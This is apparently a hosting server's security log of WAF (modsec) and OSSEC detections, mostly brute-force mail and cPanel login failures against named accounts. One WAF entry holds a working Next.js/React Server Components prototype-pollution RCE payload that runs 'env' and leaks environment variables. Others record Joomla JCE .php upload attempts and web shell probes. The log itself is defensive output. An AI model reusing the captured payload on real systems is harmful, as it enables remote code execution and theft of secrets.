2026-07-14 13:26:53 dovecot_login authenticator failed for H=(109-69-15-132.puntdacces.coop) [13.68.214.34]:46578: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77469916
abuser: 103.253.24.90
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce35qprit2.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 138.197.185.123
country_id: 2921044
domain: arcrealtors.com.au
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('env 2>/dev/null || printenv 2>/dev/null').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/x?out=${encodeURIComponent(res)};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.56.174.63
country_id: 3686110
description:
2026-07-14 13:37:04 dovecot_login authenticator failed for H=([182.95.87.80]) [181.56.174.63]:60468: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 172.86.119.231
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/index.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-14 13:38:51 dovecot_login authenticator failed for H=([59.22.68.213]) [182.95.61.82]:37764: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.98
country_id: 6252001
description:
2026-07-14 13:39:07 dovecot_login authenticator failed for H=syn-035-130-111-098.biz.spectrum.com ([202.72.193.36]) [35.130.111.98]:56299: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.59.182.213
country_id: 298795
description:
2026-07-14 13:39:29 dovecot_login authenticator failed for H=([196.190.43.162]) [188.59.182.213]:56526: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-14 13:40:23 dovecot_login authenticator failed for H=(h77-53-193-47.cust.bredband2.com) [1.227.228.131]:36986: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.121.186.125
country_id: 6252001
description:
2026-07-14 13:47:38 dovecot_login authenticator failed for H=50-121-186-125.static.chtn.wv.ip.frontiernet.net ([192.111.137.33]) [50.121.186.125]:58499: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.2.22.2
country_id: 6252001
description:
2026-07-14 13:48:26 dovecot_plain authenticator failed for H=c-107-2-22-2.hsd1.az.comcast.net (prose) [107.2.22.2]:48830: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.86
country_id: 1668284
description:
2026-07-14 13:50:03 dovecot_login authenticator failed for H=([184.181.217.198]) [101.13.6.86]:36400: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 2401:4900:8fdd:a8f0:b833:1025:88ec:e82f
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Special shell symbol in request||MV:modified_by}||MVN:ARGS:jform[editemailreceiptsettings][editemailreceipttext]||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.108.109.37
country_id: 1835841
description:
2026-07-14 13:51:00 dovecot_login authenticator failed for H=([1.227.228.131]) [222.108.109.37]:53785: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.119.184.40
country_id: 1210997
description:
2026-07-14 13:51:44 dovecot_login authenticator failed for H=([117.213.181.6]) [157.119.184.40]:33798: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-07-14 13:52:56 dovecot_login authenticator failed for H=(188-122-37-97.xdsl.5gdsl.com) [112.161.26.125]:57672: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-14 13:54:49 dovecot_login authenticator failed for H=([93.91.153.26]) [220.77.214.59]:41133: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.101.138.172
country_id: 597427
description:
2026-07-14 13:55:20 dovecot_login authenticator failed for H=static-213-101-138-172.cust.tele2.lt ([27.158.58.178]) [213.101.138.172]:33760: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.46.124.0
country_id: 3686110
description:
2026-07-14 13:58:30 dovecot_login authenticator failed for H=([197.219.228.242]) [201.46.124.0]:2632: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.35.177.181
country_id: 3175395
description:
2026-07-14 13:58:36 dovecot_login authenticator failed for H=host-85-35-177-181.business.telecomitalia.it ([70.166.167.50]) [85.35.177.181]:54758: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-14 13:58:51 dovecot_login authenticator failed for H=(177-174-0-3.user.vivozap.com.br) [106.201.237.208]:34110: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.145.62.32
country_id: 6252001
description:
2026-07-14 13:59:01 dovecot_login authenticator failed for H=47-145-62-32.fdr01.sncy.ca.ip.frontiernet.net ([106.246.89.73]) [47.145.62.32]:49714: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/images/images/images/images/images/images/images/cache.php||SC:/home/kallanigroup/public_html/images||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 43.241.66.25
country_id: 1269750
domain: gsmex.global
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:17086.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b29fc0b8b2e3191f1447a592ab5d3d006a5af29d||Title:q46wscg1mi1uhk1dwh||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.26
country_id: 1668284
description:
2026-07-14 14:03:13 dovecot_login authenticator failed for H=([37.28.177.141]) [101.13.5.26]:56678: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.159.186
country_id: 1269750
description:
2026-07-14 14:04:46 dovecot_login authenticator failed for H=([177.7.30.146]) [125.19.159.186]:57570: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-14 14:04:23 dovecot_login authenticator failed for H=([182.95.88.181]) [218.156.8.97]:57482: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-14 14:05:56 dovecot_login authenticator failed for H=([197.219.228.242]) [119.92.76.210]:38204: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.207.66.154
country_id: 6251999
description:
2026-07-14 14:06:15 dovecot_login authenticator failed for H=host-24-207-66-154.public.eastlink.ca ([98.190.239.1]) [24.207.66.154]:44638: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-14 14:05:38 dovecot_login authenticator failed for H=(nsg-corporate-130.221.187.122.airtel.in) [1.227.228.131]:41371: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.158.208.139
country_id: 1668284
description:
2026-07-14 14:07:03 dovecot_login authenticator failed for H=([70.166.167.58]) [49.158.208.139]:42098: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.233.203.159
country_id: 2661886
description:
2026-07-14 14:09:54 dovecot_login authenticator failed for H=89-233-203-159.cust.bredband2.com (178.183.125.51.mobile.static.t-mobile.pl) [89.233.203.159]:41798: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.255.189.50
country_id: 298795
description:
2026-07-14 14:10:18 dovecot_login authenticator failed for H=([70.166.167.44]) [88.255.189.50]:36159: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 163.7.11.71
country_id: 1643084
domain: elegantautomotives.com
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/db.sql||User:elegantautomotiv||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.159.186
country_id: 1269750
description:
2026-07-14 14:12:52 dovecot_login authenticator failed for H=([36.135.62.94]) [125.19.159.186]:41196: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.45.75.104
country_id: 6252001
description:
2026-07-14 14:13:04 dovecot_login authenticator failed for H=([121.129.75.178]) [216.45.75.104]:50377: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-07-14 14:18:17 dovecot_login authenticator failed for H=([111.70.34.60]) [125.19.182.118]:57162: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.9.111
country_id: 298795
description:
2026-07-14 14:17:30 dovecot_login authenticator failed for H=(mission-web-hosting.com) [78.187.9.111]:57221: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.123.87.143
country_id: 1835841
description:
2026-07-14 14:17:53 dovecot_login authenticator failed for H=([131.108.162.24]) [210.123.87.143]:46112: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 182.9.35.194
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-content/uploads/2023/12/config.php||SC:/home/idealloanzcom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.233.110
country_id: 99237
description:
2026-07-14 14:18:29 dovecot_login authenticator failed for H=([41.65.118.172]) [65.20.233.110]:51753: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-14 14:19:49 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 148.170.156.248
country_id: 6251999
description:
2026-07-14 14:21:01 dovecot_login authenticator failed for H=host-148-170-156-248.public.eastlink.ca ([116.178.155.143]) [148.170.156.248]:48482: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.249.195
country_id: 1835841
description:
2026-07-14 14:21:38 dovecot_login authenticator failed for H=(187.115.118.57.static.host.gvt.net.br) [119.192.249.195]:57053: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.136.126.131
country_id: 1643084
description:
2026-07-14 14:22:45 dovecot_login authenticator failed for H=([142.54.231.33]) [110.136.126.131]:35970: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.35.3.45
country_id: 6252001
description:
[2026-07-14 14:25:23 +0530] info [whostmgrd] 161.35.3.45 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.sex8.zone/home.php?mod=space&uid=12545847&do=profile\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat \xc4\x90\xe1\xba\xafk L\xe1\xba\xafk\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.1.66.154
country_id: 1694008
description:
2026-07-14 14:27:07 dovecot_login authenticator failed for H=([121.66.124.148]) [210.1.66.154]:51998: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.209.30
country_id: 1269750
description:
2026-07-14 14:27:37 dovecot_login authenticator failed for H=(m2msolutions.static.gvt.net.br) [128.185.209.30]:37508: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.118.232.13
country_id: 6252001
description:
2026-07-14 14:28:05 dovecot_login authenticator failed for H=ool-4576e80d.dyn.optonline.net (firewall01.practicetechnologies.ml.zerolag.com) [69.118.232.13]:59047: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.183.59.33
country_id: 130758
description:
2026-07-14 14:28:35 dovecot_login authenticator failed for H=([37.208.46.130]) [94.183.59.33]:56833: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.78.215.208
country_id: 6252001
description:
2026-07-14 14:32:55 dovecot_login authenticator failed for H=([210.222.75.179]) [63.78.215.208]:57843: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.5.244.85
country_id: 6252001
description:
2026-07-14 14:33:55 dovecot_plain authenticator failed for H=c-24-5-244-85.hsd1.ca.comcast.net (priss) [24.5.244.85]:43692: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.41
country_id: 99237
description:
2026-07-14 14:38:57 dovecot_login authenticator failed for H=([82.162.56.186]) [65.20.204.41]:59980: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-14 14:39:21 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [122.186.249.6]:35556: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.197.168.53
country_id: 1819730
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://Www.histopolis.com/\">slot depo 5k</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-14 14:42:50 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [125.23.155.110]:43672: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.0.90.82
country_id: 2077456
description:
2026-07-14 14:43:39 dovecot_login authenticator failed for H=210.0.90.82.static.nexnet.net.au ([112.25.140.211]) [210.0.90.82]:37148: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
2026-07-14 14:43:49 dovecot_login authenticator failed for H=(eth1.1172.vrrp.fw05.1739.la3.ml.zerolag.com) [62.220.236.203]:52092: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.196.29.240
country_id: 1269750
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:19014.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4b3688334ff64d9a581f79af7d97303ee6a71d1c||Title:roptfy01zu7jv3poo||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.253.24.90
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcecy8kie6v.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.82.135
country_id: 798544
description:
2026-07-14 14:50:45 dovecot_login authenticator failed for H=([111.70.17.214]) [185.15.82.135]:56848: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-14 14:51:06 dovecot_login authenticator failed for H=(201-2-140-186.paemt704.e.brasiltelecom.net.br) [125.130.102.172]:41053: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.11.38
country_id: 1668284
description:
2026-07-14 14:50:33 dovecot_login authenticator failed for H=111-70-11-38.emome-ip.hinet.net (firewall01.practicetechnologies.ml.zerolag.com) [111.70.11.38]:35398: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.37.150.6
country_id: 1835841
description:
2026-07-14 14:53:44 dovecot_login authenticator failed for H=([218.202.143.68]) [61.37.150.6]:10523: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.133.156.116
country_id: 294640
description:
2026-07-14 14:54:26 dovecot_login authenticator failed for H=([180.94.75.90]) [195.133.156.116]:48570: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.168.146.152
country_id: 6252001
description:
2026-07-14 14:55:46 dovecot_login authenticator failed for H=c-174-168-146-152.hsd1.ct.comcast.net ([95.35.29.192]) [174.168.146.152]:39765: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.39
country_id: 1668284
description:
2026-07-14 14:56:18 dovecot_login authenticator failed for H=([115.94.121.82]) [101.13.5.39]:38914: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.255.255.26
country_id: 2661886
description:
2026-07-14 14:58:25 dovecot_login authenticator failed for H=94-255-255-26.cust.bredband2.com ([196.191.212.236]) [94.255.255.26]:49952: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.74.224.30
country_id: 1835841
description:
2026-07-14 14:58:36 dovecot_login authenticator failed for H=([146.66.76.174]) [61.74.224.30]:58993: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.209.30
country_id: 1269750
description:
2026-07-14 15:03:37 dovecot_login authenticator failed for H=(nsg-static-161.174.76.182-airtel.com) [128.185.209.30]:40896: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.124.218.76
country_id: 1835841
description:
2026-07-14 15:03:39 dovecot_login authenticator failed for H=([195.239.47.189]) [220.124.218.76]:43338: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.163.127.14
country_id: 1269750
description:
2026-07-14 15:03:56 dovecot_login authenticator failed for H=([49.125.201.73]) [122.163.127.14]:57526: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-14 15:05:08 dovecot_login authenticator failed for H=([117.159.93.197]) [197.219.208.58]:45072: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.248.3.92
country_id: 6252001
description:
2026-07-14 15:05:09 dovecot_login authenticator failed for H=([197.219.228.250]) [162.248.3.92]:43862: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.184.80
country_id: 99237
description:
2026-07-14 15:09:05 dovecot_plain authenticator failed for H=(veyinesag) [65.20.184.80]:46079: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.195
country_id: 1668284
description:
2026-07-14 15:15:18 dovecot_login authenticator failed for H=([49.124.149.218]) [101.13.5.195]:48940: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-14 15:15:40 dovecot_login authenticator failed for H=(82-209-148-60.cust.bredband2.com) [144.24.209.174]:57651: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.6.81.59
country_id: 1880251
description:
2026-07-14 15:19:18 dovecot_login authenticator failed for H=bb121-6-81-59.singnet.com.sg ([192.252.214.22]) [121.6.81.59]:51477: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.28.226.125
country_id: 1036973
description:
2026-07-14 15:21:21 dovecot_login authenticator failed for H=([104.37.135.150]) [196.28.226.125]:52517: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.253.90.113
country_id: 2661886
description:
2026-07-14 15:21:51 dovecot_login authenticator failed for H=89-253-90-113.customers.ownit.se (mx-ll-183.89.208-174.dynamic.3bb.in.th) [89.253.90.113]:38190: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.18.115.154
country_id: 3175395
description:
2026-07-14 15:26:14 dovecot_login authenticator failed for H=([116.178.155.143]) [85.18.115.154]:35407: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.163.195
country_id: 3932488
description:
2026-07-14 15:26:27 dovecot_login authenticator failed for H=([192.252.216.83]) [200.107.163.195]:39068: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-14 15:30:20 dovecot_login authenticator failed for H=([182.95.127.42]) [182.78.86.62]:51920: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-14 15:30:46 dovecot_login authenticator failed for H=(faculdadeunica.static.gvt.net.br) [182.95.189.66]:37932: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 109.69.109.124
country_id: 2635167
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://4geo.ru/redirect/?service=catalog&url=www.kecuko.com%2Fquien-soy%2Fsin-categoria%2F\">najlepsze europejskie kasyna online</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.191.91.81
country_id: 3437598
description:
2026-07-14 15:30:54 dovecot_login authenticator failed for H=([219.128.15.190]) [45.191.91.81]:57443: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.212.29
country_id: 2661886
description:
2026-07-14 15:36:16 dovecot_login authenticator failed for H=90-230-212-29-no2550.tbcn.telia.com ([31.173.8.170]) [90.230.212.29]:45146: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-14 15:35:35 dovecot_login authenticator failed for H=(111-70-22-152.emome-ip.hinet.net) [152.52.198.42]:59644: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.247.245.61
country_id: 1835841
description:
2026-07-14 15:35:58 dovecot_login authenticator failed for H=([114.30.180.58]) [1.247.245.61]:43001: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:a8f0:b833:1025:88ec:e82f
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.28||T:APACHE||MVN:ARGS:jform[defaultvalue][f_checkbox_attribute_class]||MV: visCSStop10 ||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.198.13.212
country_id: 241170
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://board-en.darkorbit.com/proxy.php?link=http://cgi.www5b.biglobe.ne.jp/~akanbe/yu-betsu/joyful/joyful.cgi?page=20\">https://board-en.darkorbit.com/proxy.php?link=http://cgi.www5b.biglobe.ne.jp/~akanbe/yu-betsu/joyful/joyful.cgi?page=20</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:a8f0:b833:1025:88ec:e82f
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.28||T:APACHE||MVN:ARGS:jform[defaultvalue][f_text_attribute_class]||MV: inputbox visCSSinput ||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.137
country_id: 1835841
description:
2026-07-14 15:38:39 dovecot_login authenticator failed for H=(91.156.207.178.in-addr.arpa) [121.131.220.137]:39783: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.32.17.8
country_id: 3017382
description:
2026-07-14 15:39:05 dovecot_login authenticator failed for H=vps-1f598509.vps.ovh.net ([197.44.221.129]) [213.32.17.8]:42366: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 185.235.16.12
country_id: 163843
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://vird.co/go/livehkdraw\">Live Draw HK</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.67.161.64
country_id: 2661886
description:
